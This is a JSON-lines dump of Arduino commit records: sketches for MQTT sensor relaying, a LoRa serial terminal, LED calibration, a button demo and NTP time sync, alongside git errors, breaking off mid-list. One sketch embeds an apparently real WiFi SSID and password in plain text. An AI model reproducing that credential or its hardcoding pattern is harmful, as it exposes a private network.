\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n if (rf12_group == 33 and rf12_nodeid == 17)\n {\n RadioBlip2Data.rf12_group = rf12_group;\n RadioBlip2Data.rf12_nodeid = rf12_nodeid;\n RadioBlip2Data.timeStamp = timeStamp;\n RadioBlip2Data.Vcc = 1.0 + rf12_data[5] * 0.02;\n\n dataStr = RadioBlip2Data.timeStamp + \",\"\n + String(RadioBlip2Data.rf12_group) + \",\"\n + String(RadioBlip2Data.rf12_nodeid) + \",\"\n + String(RadioBlip2Data.Vcc);\n\n \/\/ publish interpreted TNode data to MQTT server\n char charBuf[dataStr.length() + 1];\n dataStr.toCharArray(charBuf, dataStr.length());\n client.publish(\"RadioBlip2\", charBuf);\n }\n digitalWrite(13, LOW); \/\/ turn the LED off (HIGH is the voltage level)\n }\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\n\/\/ This function returns a string with the time stamp\nString getTimeStamp()\n{\n String result;\n Process time;\n \/\/ date is a command line utility to get the date and the time\n \/\/ in different formats depending on the additional parameter\n time.begin(\"date\");\n time.addParameter(\"+%Y-%m-%d %T\"); \/\/ parameters: D for the complete date mm\/dd\/yy, T for the time hh:mm:ss\n time.run(); \/\/ run the command\n\n \/\/ read the output of the command\n while (time.available() > 0)\n {\n char c = time.read();\n if (c != '\\n')\n result += c;\n }\n\n return result;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'projects\/YunHub\/YunHub_1.07_MQTT\/YunHub_1.07_MQTT.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8809f396c110ffc8e594ad078ee616d803654045","subject":"Added pages to gciTest widgets","message":"Added pages to gciTest widgets\n","repos":"TFTLibraries\/gciWidget","old_file":"examples\/gciTest\/gciTest.ino","new_file":"examples\/gciTest\/gciTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/TFTLibraries\/gciWidget.git\/'\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"9429ac84a66d88de997f661f68873e42dc3e9b44","subject":"stubbed out Arduino INO file for duplexer.","message":"stubbed out Arduino INO file for duplexer.\n","repos":"BitBangedFF\/hobd,BitBangedFF\/hobd,BitBangedFF\/hobd","old_file":"firmware\/uart_duplexer\/uart_duplexer.ino","new_file":"firmware\/uart_duplexer\/uart_duplexer.ino","new_contents":"TODO\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/uart_duplexer\/uart_duplexer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1fc25b37dbf39a3ae7964f757626ac7cc3975a53","subject":"Added test application","message":"Added test application\n","repos":"realrolfje\/loratemp","old_file":"src\/loraterminal\/loraterminal.ino","new_file":"src\/loraterminal\/loraterminal.ino","new_contents":"\/*\n * Test application to talk to the RN2483 directly.\n *\/\n#include <SoftwareSerial.h>\n\nSoftwareSerial rnSerial(10, 11); \/\/ RX, TX\n\nvoid setup(void) {\n Serial.begin(9600);\n rnSerial.begin(9600);\n autobaud();\n\n Serial.println(\"Init done. Type your command and end with the characters \\r\\n\");\n rnSerial.println(\"sys get ver\");\n Serial.println(rnSerial.readStringUntil('\\n'));\n \n}\n\n\/*\n * Echo bytes back and forth.\n * Don't forget to send carriage return and newline (yes both) after each command.\n *\/\nvoid loop(void) { \n\n \/\/ Read from RN2483, write to PC\n if (rnSerial.available()) {\n Serial.write(rnSerial.read());\n }\n\n \/\/ Read from PC, write to RN2483\n if (Serial.available()) {\n byte b = Serial.read();\n rnSerial.write(b);\n Serial.write(b); \/\/ echo\n }\n}\n\nvoid autobaud()\n{\n \/\/reset rn2483\n Serial.print(\"Reset radio...\");\n pinMode(12, OUTPUT);\n digitalWrite(12, LOW);\n delay(500);\n digitalWrite(12, HIGH);\n Serial.println(\"done.\");\n \n String response = \"\";\n while (response==\"\")\n {\n delay(1000);\n Serial.print(\"autobaud...\");\n rnSerial.write((byte)0x00);\n rnSerial.write(0x55);\n rnSerial.println();\n rnSerial.println(\"sys get ver\");\n response = rnSerial.readStringUntil('\\n');\n Serial.print(response);\n Serial.println(\"*\");\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/loraterminal\/loraterminal.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"baebd5511834980da504c14e1189caab93460f35","subject":"Adding RGB calibration program","message":"Adding RGB calibration program\n","repos":"MiketheChap\/FastLED,PaulStoffregen\/FastLED,corbinstreehouse\/FastLED,FastLED\/FastLED,NicoHood\/FastLED,remspoor\/FastLED,MiketheChap\/FastLED,neographophobic\/FastLED,wsilverio\/FastLED,wsilverio\/FastLED,neographophobic\/FastLED,kcouck\/FastLED,PaulStoffregen\/FastLED,eshkrab\/FastLED-esp32,eshkrab\/FastLED-esp32,FastLED\/FastLED,FastLED\/FastLED,FastLED\/FastLED,yaneexy\/FastLED,NicoHood\/FastLED,wilhelmryan\/FastLED,remspoor\/FastLED,felixLam\/FastLED,liyanage\/FastLED,yaneexy\/FastLED,felixLam\/FastLED,kcouck\/FastLED,corbinstreehouse\/FastLED,MattDurr\/FastLED,MattDurr\/FastLED,tullo-x86\/FastLED,wilhelmryan\/FastLED,ryankenney\/FastLED,PaulStoffregen\/FastLED,tullo-x86\/FastLED,liyanage\/FastLED,ryankenney\/FastLED","old_file":"examples\/RGBCalibrate\/RGBCalibrate.ino","new_file":"examples\/RGBCalibrate\/RGBCalibrate.ino","new_contents":"#include \"FastSPI_LED2.h\"\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ RGB Calibration code\n\/\/\n\/\/ Use this sketch to determine what the RGB ordering for your chipset should be. Steps for setting up to use:\n\/\/\n\/\/ * Uncomment the line in setup that corresponds to the LED chipset that you are using. (Note that they\n\/\/ all explicitly specify the RGB order as RGB)\n\/\/ * Define DATA_PIN to the pin that data is connected to.\n\/\/ * (Optional) if using software SPI for chipsets that are SPI based, define CLOCK_PIN to the clock pin\n\/\/ * Compile\/upload\/run the sketch \n\/\/\n\/\/ You should see six leds on. If the RGB ordering is correct, you should see 1 red led, 2 green \n\/\/ leds, and 3 blue leds. If you see different colors, the count of each color tells you what the \n\/\/ position for that color in the rgb orering should be. So, for example, if you see 1 Blue, and 2\n\/\/ Red, and 3 Green leds then the rgb ordering should be BRG (Blue, Red, Green). \n\/\/\n\/\/ You can then test this ordering by setting the RGB ordering in the addLeds line below to the new ordering\n\/\/ and it should come out correctly, 1 red, 2 green, and 3 blue.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#define NUM_LEDS 6\n\n\/\/ Data pin that led data will be written out over\n#define DATA_PIN 7\n\/\/ Clock pin only needed for SPI based chipsets when not using hardware SPI\n\/\/#define CLOCK_PIN 8\n\nCRGB leds[NUM_LEDS];\n\nvoid setup() {\n\t\/\/ sanity check delay - allows reprogramming if accidently blowing power w\/leds\n \tdelay(2000);\n\n \t\/\/ For safety (to prevent too high of a power draw), the test case defaults to\n \t\/\/ setting brightness to 25% brightness\n \tLEDS.setBrightness(255);\n\n \/\/ Uncomment one of the following lines for your leds arrangement.\n \/\/ LEDS.addLeds<TM1803, DATA_PIN, RGB>(leds, NUM_LEDS);\n \/\/ LEDS.addLeds<TM1804, DATA_PIN, RGB>(leds, NUM_LEDS);\n \/\/ LEDS.addLeds<TM1809, DATA_PIN, RGB>(leds, NUM_LEDS);\n \/\/ LEDS.addLeds<WS2811, DATA_PIN, RGB>(leds, NUM_LEDS);\n \/\/ LEDS.addLeds<WS2812, DATA_PIN, RGB>(leds, NUM_LEDS);\n \/\/ LEDS.addLeds<WS2812B, DATA_PIN, RGB>(leds, NUM_LEDS);\n \/\/ LEDS.addLeds<UCS1903, DATA_PIN, RGB>(leds, NUM_LEDS);\n\n \/\/ LEDS.addLeds<WS2801, RGB>(leds, NUM_LEDS);\n \/\/ LEDS.addLeds<SM16716, RGB>(leds, NUM_LEDS);\n \/\/ LEDS.addLeds<LPD8806, RGB>(leds, NUM_LEDS);\n\n \/\/ LEDS.addLeds<WS2801, DATA_PIN, CLOCK_PIN, RGB>(leds, NUM_LEDS);\n \/\/ LEDS.addLeds<SM16716, DATA_PIN, CLOCK_PIN, RGB>(leds, NUM_LEDS);\n \/\/ LEDS.addLeds<LPD8806, DATA_PIN, CLOCK_PIN, RGB>(leds, NUM_LEDS);\n}\n\nvoid loop() {\n leds[0] = CRGB::Red; \n leds[1] = CRGB::Green;\n leds[2] = CRGB::Green;\n leds[3] = CRGB::Blue;\n leds[4] = CRGB::Blue;\n leds[5] = CRGB::Blue;\n LEDS.show();\n delay(1000);\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/RGBCalibrate\/RGBCalibrate.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d5d890e29df564b2517e5790313692f24b4f758f","subject":"added basic WiFi manager","message":"added basic WiFi manager\n","repos":"werar\/iothome,werar\/iothome,werar\/iothome","old_file":"modules\/sleepTempSensor\/sleepTempSensor\/sleepTempSensor.ino","new_file":"modules\/sleepTempSensor\/sleepTempSensor\/sleepTempSensor.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/werar\/iothome.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"7b0cd87e9037de1e911ab80a15fc8e08685b7ffd","subject":"This is the start of the physical controlls for the score board.","message":"This is the start of the physical controlls for the score board.\n","repos":"onebeartoe\/sports,onebeartoe\/sports,onebeartoe\/sports","old_file":"physical-user-controlls\/player_controls\/player_controls.ino","new_file":"physical-user-controlls\/player_controls\/player_controls.ino","new_contents":"\/*\n MKR1000 WiFi RTC\n\n This sketch asks NTP for the Linux epoch and sets the internal Arduino MKR1000's RTC accordingly.\n\n created 08 Jan 2016\n by Arturo Guadalupi <a.guadalupi@arduino.cc>\n\n http:\/\/arduino.cc\/en\/Tutorial\/WiFiRTC\n This code is in the public domain.\n*\/\n\n#include <SPI.h>\n#include <WiFi101.h>\n#include <WiFiUdp.h>\n#include <RTCZero.h>\n\nRTCZero rtc;\n\nchar ssid[] = \"beto-land-0\"; \/\/ your network SSID (name)\nchar pass[] = \"fart5noodle\"; \/\/ your network password\nint keyIndex = 0; \/\/ your network key Index number (needed only for WEP)\n\nint status = WL_IDLE_STATUS;\n\n\/\/ Used for NTP\nunsigned int localPort = 2390; \/\/ local port to listen for UDP packets\nIPAddress timeServer(129, 6, 15, 28); \/\/ time.nist.gov NTP server\nconst int NTP_PACKET_SIZE = 48; \/\/ NTP time stamp is in the first 48 bytes of the message\nbyte packetBuffer[ NTP_PACKET_SIZE]; \/\/buffer to hold incoming and outgoing packets\nWiFiUDP Udp; \/\/ A UDP instance to let us send and receive packets over UDP\n\nconst int GMT = 1; \/\/change this to adapt it to your time zone\n\nvoid setup() {\n Serial.begin(115200);\n\n \/\/ check if the WiFi module works\n if (WiFi.status() == WL_NO_SHIELD) {\n Serial.println(\"WiFi shield not present\");\n \/\/ don't continue:\n while (true);\n }\n\n \/\/ attempt to connect to WiFi network:\n while ( status != WL_CONNECTED) {\n Serial.print(\"Attempting to connect to SSID: \");\n Serial.println(ssid);\n \/\/ Connect to WPA\/WPA2 network. Change this line if using open or WEP network:\n status = WiFi.begin(ssid, pass);\n\n \/\/ wait 10 seconds for connection:\n delay(10000);\n }\n\n \/\/ you're connected now, so print out the status:\n printWifiStatus();\n\n rtc.begin();\n\n unsigned long epoch;\n int numberOfTries = 0, maxTries = 6;\n do {\n epoch = readLinuxEpochUsingNTP();\n numberOfTries++;\n }\n while ((epoch == 0) || (numberOfTries > maxTries));\n\n if (numberOfTries > maxTries) {\n Serial.print(\"NTP unreachable!!\");\n while (1);\n }\n else {\n Serial.print(\"Epoch received: \");\n Serial.println(epoch);\n rtc.setEpoch(epoch);\n\n Serial.println();\n }\n}\n\nvoid loop() {\n printDate();\n printTime();\n Serial.println();\n delay(1000);\n}\n\nunsigned long readLinuxEpochUsingNTP()\n{\n Udp.begin(localPort);\n sendNTPpacket(timeServer); \/\/ send an NTP packet to a time server\n \/\/ wait to see if a reply is available\n delay(1000);\n\n if ( Udp.parsePacket() ) {\n Serial.println(\"NTP time received\");\n \/\/ We've received a packet, read the data from it\n Udp.read(packetBuffer, NTP_PACKET_SIZE); \/\/ read the packet into the buffer\n\n \/\/the timestamp starts at byte 40 of the received packet and is four bytes,\n \/\/ or two words, long. First, esxtract the two words:\n\n unsigned long highWord = word(packetBuffer[40], packetBuffer[41]);\n unsigned long lowWord = word(packetBuffer[42], packetBuffer[43]);\n \/\/ combine the four bytes (two words) into a long integer\n \/\/ this is NTP time (seconds since Jan 1 1900):\n unsigned long secsSince1900 = highWord << 16 | lowWord;\n\n \/\/ now convert NTP time into everyday time:\n \/\/ Unix time starts on Jan 1 1970. In seconds, that's 2208988800:\n const unsigned long seventyYears = 2208988800UL;\n \/\/ subtract seventy years:\n\n Udp.stop();\n return (secsSince1900 - seventyYears);\n }\n\n else {\n Udp.stop();\n return 0;\n }\n}\n\nvoid printTime()\n{\n print2digits(rtc.getHours());\n Serial.print(\":\");\n print2digits(rtc.getMinutes());\n Serial.print(\":\");\n print2digits(rtc.getSeconds());\n Serial.println();\n}\n\nvoid printDate()\n{\n Serial.print(rtc.getDay());\n Serial.print(\"\/\");\n Serial.print(rtc.getMonth());\n Serial.print(\"\/\");\n Serial.print(rtc.getYear());\n\n Serial.print(\" \");\n}\n\n\/\/ send an NTP request to the time server at the given address\nunsigned long sendNTPpacket(IPAddress & address)\n{\n \/\/ set all bytes in the buffer to 0\n memset(packetBuffer, 0, NTP_PACKET_SIZE);\n \/\/ Initialize values needed to form NTP request\n \/\/ (see URL above for details on the packets)\n\n packetBuffer[0] = 0b11100011; \/\/ LI, Version, Mode\n packetBuffer[1] = 0; \/\/ Stratum, or type of clock\n packetBuffer[2] = 6; \/\/ Polling Interval\n packetBuffer[3] = 0xEC; \/\/ Peer Clock Precision\n \/\/ 8 bytes of zero for Root Delay & Root Dispersion\n packetBuffer[12] = 49;\n packetBuffer[13] = 0x4E;\n packetBuffer[14] = 49;\n packetBuffer[15] = 52;\n\n \/\/ all NTP fields have been given values, now\n \/\/ you can send a packet requesting a timestamp:\n Udp.beginPacket(address, 123); \/\/NTP requests are to port 123\n Udp.write(packetBuffer, NTP_PACKET_SIZE);\n Udp.endPacket();\n}\n\nvoid printWifiStatus() {\n \/\/ print the SSID of the network you're attached to:\n Serial.print(\"SSID: \");\n Serial.println(WiFi.SSID());\n\n \/\/ print your WiFi shield's IP address:\n IPAddress ip = WiFi.localIP();\n Serial.print(\"IP Address: \");\n Serial.println(ip);\n\n \/\/ print the received signal strength:\n long rssi = WiFi.RSSI();\n Serial.print(\"signal strength (RSSI):\");\n Serial.print(rssi);\n Serial.println(\" dBm\");\n}\n\nvoid print2digits(int number) {\n if (number < 10) {\n Serial.print(\"0\");\n }\n Serial.print(number);\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'physical-user-controlls\/player_controls\/player_controls.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"9c5f432a6b7f4a1ffc05e0131cc6cab6971ae2ce","subject":"Added state initialization detection to hmac.sha1.update and hmac.sha1.final","message":"Added state initialization detection to hmac.sha1.update and hmac.sha1.final\n\nSigned-off-by: Edi Permadi <163b49ac0c44ca5b49677bf42f3f8680b3bd9867@gmail.com>\n","repos":"edipermadi\/teensy-hsm,edipermadi\/teensy-hsm","old_file":"teensy-hsm\/debug.ino","new_file":"teensy-hsm\/debug.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/edipermadi\/teensy-hsm.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"3365f648309ad570aa2ee017792e37abfe7296e5","subject":"Finally updates energy arduino code to current protocol.","message":"Finally updates energy arduino code to current protocol.\n","repos":"bassjansson\/vera,bassjansson\/vera,bassjansson\/vera,bassjansson\/vera","old_file":"room\/arduino\/energy\/energy.ino","new_file":"room\/arduino\/energy\/energy.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/bassjansson\/vera.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"b2dafa1e4346040a63d7e6d24174c68729ba9cc3","subject":"Fixed audio routine","message":"Fixed audio routine\n","repos":"TFTLibraries\/TFT,TFTLibraries\/TFT","old_file":"examples\/PICadillo-35T\/PICadilloTest\/PICadilloTest.ino","new_file":"examples\/PICadillo-35T\/PICadilloTest\/PICadilloTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/TFTLibraries\/TFT.git\/'\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"8a699687d96c296f0999d775ae573e2f2e0cd77b","subject":"External Button example","message":"External Button example\n","repos":"JimmySoftware\/ESPert,JimmySoftware\/ESPert,JimmySoftware\/ESPert","old_file":"examples\/_1030_ExternalButton\/_1030_ExternalButton.ino","new_file":"examples\/_1030_ExternalButton\/_1030_ExternalButton.ino","new_contents":"#include <ESPert.h>\n\nESPert espert;\nbool currentSwitch = true;\n\nESPert_Button button;\n\nvoid setup() {\n espert.init();\n button.init( 15 );\n espert.println(\"Press USER button to turn on LED.\");\n}\n\nvoid loop() {\n bool buttonPressed = button.isOn();\n\n if (buttonPressed != currentSwitch) {\n if (buttonPressed) {\n espert.println(\"Button: On\");\n espert.led.on();\n } else {\n espert.println(\"Button: Off\");\n espert.led.off();\n }\n\n currentSwitch = buttonPressed;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/_1030_ExternalButton\/_1030_ExternalButton.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"54ea58afd2c959255cef634415546ac2a0cc81fd","subject":"Make basic sketch match the more common case of 30 LEDs (as opposed to 60)","message":"Make basic sketch match the more common case of 30 LEDs (as opposed to 60)\n","repos":"stevenpetryk\/rustle","old_file":"sketches\/basic.ino","new_file":"sketches\/basic.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/stevenpetryk\/rustle.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"971242dce4a3705770b367927df142504fe461d2","subject":"Trying to get strncpy() working","message":"Trying to get strncpy() working\n","repos":"snowdenator\/ESP8266_Stuff","old_file":"ESP_WiFiScan_Display\/ESP_WiFiScan_Display.ino","new_file":"ESP_WiFiScan_Display\/ESP_WiFiScan_Display.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/snowdenator\/ESP8266_Stuff.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"e6dbda6825341ef8ec3ad806677cbcd25204f139","subject":"Added Twitter client (in progress, not working)","message":"Added Twitter client (in progress, not working)\n","repos":"wayoda\/Arduino,arduino-org\/Arduino,gonium\/Arduino,KlaasDeNys\/Arduino,lukeWal\/Arduino,bsmr-arduino\/Arduino,eduardocasarin\/Arduino,ogferreiro\/Arduino,paulo-raca\/ESP8266-Arduino,jabezGit\/Arduino,cscenter\/Arduino,steamboating\/Arduino,jmgonzalez00449\/Arduino,stevemarple\/Arduino-org,nkolban\/Arduino,byran\/Arduino,PaoloP74\/Arduino,ssvs111\/Arduino,tskurauskas\/Arduino,zaiexx\/Arduino,rcook\/DesignLab,stickbreaker\/Arduino,ogahara\/Arduino,tannewt\/Arduino,Gourav2906\/Arduino,shiitakeo\/Arduino,zederson\/Arduino,shiitakeo\/Arduino,pdNor\/Arduino,zederson\/Arduino,jmgonzalez00449\/Arduino,eduardocasarin\/Arduino,piersoft\/esp8266-Arduino,rcook\/DesignLab,mattvenn\/Arduino,adafruit\/ESP8266-Arduino,byran\/Arduino,garci66\/Arduino,adamkh\/Arduino,superboonie\/Arduino,arduino-org\/Arduino,weera00\/Arduino,xxxajk\/Arduino-1,gurbrinder\/Arduino,jmgonzalez00449\/Arduino,lukeWal\/Arduino,plinioseniore\/Arduino,jaimemaretoli\/Arduino,xxxajk\/Arduino-1,koltegirish\/Arduino,stickbreaker\/Arduino,leftbrainstrain\/Arduino-ESP8266,jomolinare\/Arduino,damellis\/Arduino,lukeWal\/Arduino,jaimemaretoli\/Arduino,stevemarple\/Arduino-org,Protoneer\/Arduino,kidswong999\/Arduino,adafruit\/ESP8266-Arduino,pdNor\/Arduino,Cloudino\/Cloudino-Arduino-IDE,raimohanska\/Arduino,karlitxo\/Arduino,gestrem\/Arduino,bigjosh\/Arduino,PeterVH\/Arduino,karlitxo\/Arduino,shiitakeo\/Arduino,NicoHood\/Arduino,jaehong\/Xmegaduino,ms-iot\/Arduino,wayoda\/Arduino,ntruchsess\/Arduino-1,sanyaade-iot\/Arduino-1,henningpohl\/Arduino,scdls\/Arduino,rcook\/DesignLab,ogahara\/Arduino,myrtleTree33\/Arduino,xxxajk\/Arduino-1,scdls\/Arduino,mboufos\/esp8266-Arduino,andyvand\/Arduino-1,henningpohl\/Arduino,vbextreme\/Arduino,jamesrob4\/Arduino,arunkuttiyara\/Arduino,jaehong\/Xmegaduino,radut\/Arduino,ikbelkirasan\/Arduino,myrtleTree33\/Arduino,byran\/Arduino,Cloudino\/Cloudino-Arduino-IDE,Cloudino\/Cloudino-Arduino-IDE,UDOOboard\/Arduino,majenkotech\/Arduino,pdNor\/Arduino,aichi\/Arduino-2,plaintea\/esp8266-Arduino,bugobliterator\/BUAGI,paulmand3l\/Arduino,paulo-raca\/ESP8266-Arduino,lulufei\/Arduino,UDOOboard\/Arduino,henningpohl\/Arduino,eggfly\/arduino,PaoloP74\/Arduino,zenmanenergy\/Arduino,ForestNymph\/Arduino_sources,aichi\/Arduino-2,ms-iot\/Arduino,koltegirish\/Arduino,adamkh\/Arduino,adafruit\/ESP8266-Arduino,PaoloP74\/Arduino,fungxu\/Arduino,ssvs111\/Arduino,zenmanenergy\/Arduino,ssvs111\/Arduino,ms-iot\/Arduino,championswimmer\/Arduino,eggfly\/arduino,ricklon\/Arduino,mattvenn\/Arduino,probonopd\/Arduino,Chris--A\/Arduino,spapadim\/Arduino,ogferreiro\/Arduino,Cloudino\/Arduino,mc-hamster\/esp8266-Arduino,mattvenn\/Arduino,gberl001\/Arduino,championswimmer\/Arduino,OpenDevice\/Arduino,xxxajk\/Arduino-1,me-no-dev\/Arduino-1,bigjosh\/Arduino,cscenter\/Arduino,EmuxEvans\/Arduino,HCastano\/Arduino,plinioseniore\/Arduino,andrealmeidadomingues\/Arduino,onovy\/Arduino,laylthe\/Arduino,snargledorf\/Arduino,NaSymbol\/Arduino,smily77\/Arduino,spapadim\/Arduino,superboonie\/Arduino,wayoda\/Arduino,stevemarple\/Arduino-org,sanyaade-iot\/Arduino-1,me-no-dev\/Arduino-1,mboufos\/esp8266-Arduino,onovy\/Arduino,KlaasDeNys\/Arduino,adamkh\/Arduino,cscenter\/Arduino,chaveiro\/Arduino,SmartArduino\/Arduino-1,arunkuttiyara\/Arduino,eeijcea\/Arduino-1,damellis\/Arduino,byran\/Arduino,wayoda\/Arduino,Gourav2906\/Arduino,381426068\/Arduino,majenkotech\/Arduino,ikbelkirasan\/Arduino,championswimmer\/Arduino,lulufei\/Arduino,PaintYourDragon\/Arduino,laylthe\/Arduino,majenkotech\/Arduino,381426068\/Arduino,jomolinare\/Arduino,odbol\/Arduino,tskurauskas\/Arduino,gurbrinder\/Arduino,jaimemaretoli\/Arduino,shannonshsu\/Arduino,tbowmo\/Arduino,ricklon\/Arduino,andyvand\/Arduino-1,jamesrob4\/Arduino,ashwin713\/Arduino,ssvs111\/Arduino,stickbreaker\/Arduino,stickbreaker\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,sanyaade-iot\/Arduino-1,shannonshsu\/Arduino,linino\/Arduino,benwolfe\/esp8266-Arduino,UDOOboard\/Arduino,ntruchsess\/Arduino-1,plaintea\/esp8266-Arduino,raimohanska\/Arduino,karlitxo\/Arduino,me-no-dev\/Arduino-1,SmartArduino\/Arduino-1,jamesrob4\/Arduino,danielchalef\/Arduino,pdNor\/Arduino,rodibot\/Arduino,garci66\/Arduino,tskurauskas\/Arduino,UDOOboard\/Arduino,gberl001\/Arduino,scdls\/Arduino,ccoenen\/Arduino,wdoganowski\/Arduino,plinioseniore\/Arduino,bugobliterator\/BUAGI,tbowmo\/Arduino,kidswong999\/Arduino,arunkuttiyara\/Arduino,raimohanska\/Arduino,bigjosh\/Arduino,NaSymbol\/Arduino,mateuszdw\/Arduino,mangelajo\/Arduino,tannewt\/Arduino,andrealmeidadomingues\/Arduino,gurbrinder\/Arduino,niggor\/Arduino_cc,damellis\/Arduino,arunkuttiyara\/Arduino,fungxu\/Arduino,steamboating\/Arduino,stevemarple\/Arduino-org,henningpohl\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,Cloudino\/Arduino,tommyli2014\/Arduino,shannonshsu\/Arduino,myrtleTree33\/Arduino,superboonie\/Arduino,gestrem\/Arduino,stickbreaker\/Arduino,rcook\/DesignLab,me-no-dev\/Arduino-1,paulmand3l\/Arduino,paulmand3l\/Arduino,SmartArduino\/Arduino-1,Chris--A\/Arduino,jmgonzalez00449\/Arduino,01org\/Arduino,jabezGit\/Arduino,ari-analytics\/Arduino,Alfredynho\/AgroSis,sanyaade-iot\/Arduino-1,jaej-dev\/Arduino,ccoenen\/Arduino,gberl001\/Arduino,bigjosh\/Arduino,weera00\/Arduino,xxxajk\/Arduino-1,benwolfe\/esp8266-Arduino,tomkrus007\/Arduino,odbol\/Arduino,smily77\/Arduino,drpjk\/Arduino,linino\/Arduino,381426068\/Arduino,lulufei\/Arduino,garci66\/Arduino,lukeWal\/Arduino,spapadim\/Arduino,raimohanska\/Arduino,aichi\/Arduino-2,scdls\/Arduino,garci66\/Arduino,Protoneer\/Arduino,PaintYourDragon\/Arduino,scdls\/Arduino,spapadim\/Arduino,PaoloP74\/Arduino,laylthe\/Arduino,ektor5\/Arduino,garci66\/Arduino,mboufos\/esp8266-Arduino,stevemayhew\/Arduino,mattvenn\/Arduino,adafruit\/ESP8266-Arduino,Ramoonus\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,mc-hamster\/esp8266-Arduino,garci66\/Arduino,jaej-dev\/Arduino,eddyst\/Arduino-SourceCode,cscenter\/Arduino,superboonie\/Arduino,Gourav2906\/Arduino,arunkuttiyara\/Arduino,wdoganowski\/Arduino,Alfredynho\/AgroSis,ektor5\/Arduino,eeijcea\/Arduino-1,ccoenen\/Arduino,talhaburak\/Arduino,arduino-org\/Arduino,ogferreiro\/Arduino,plinioseniore\/Arduino,NaSymbol\/Arduino,381426068\/Arduino,Gourav2906\/Arduino,lukeWal\/Arduino,smily77\/Arduino,radut\/Arduino,ogferreiro\/Arduino,jaimemaretoli\/Arduino,KlaasDeNys\/Arduino,ogahara\/Arduino,wdoganowski\/Arduino,acosinwork\/Arduino,snargledorf\/Arduino,andrealmeidadomingues\/Arduino,plaintea\/esp8266-Arduino,zenmanenergy\/Arduino,ccoenen\/Arduino,ccoenen\/Arduino,Ramoonus\/Arduino,shannonshsu\/Arduino,gonium\/Arduino,stevemayhew\/Arduino,leftbrainstrain\/Arduino-ESP8266,adamkh\/Arduino,shiitakeo\/Arduino,paulmand3l\/Arduino,jmgonzalez00449\/Arduino,tomkrus007\/Arduino,ogahara\/Ar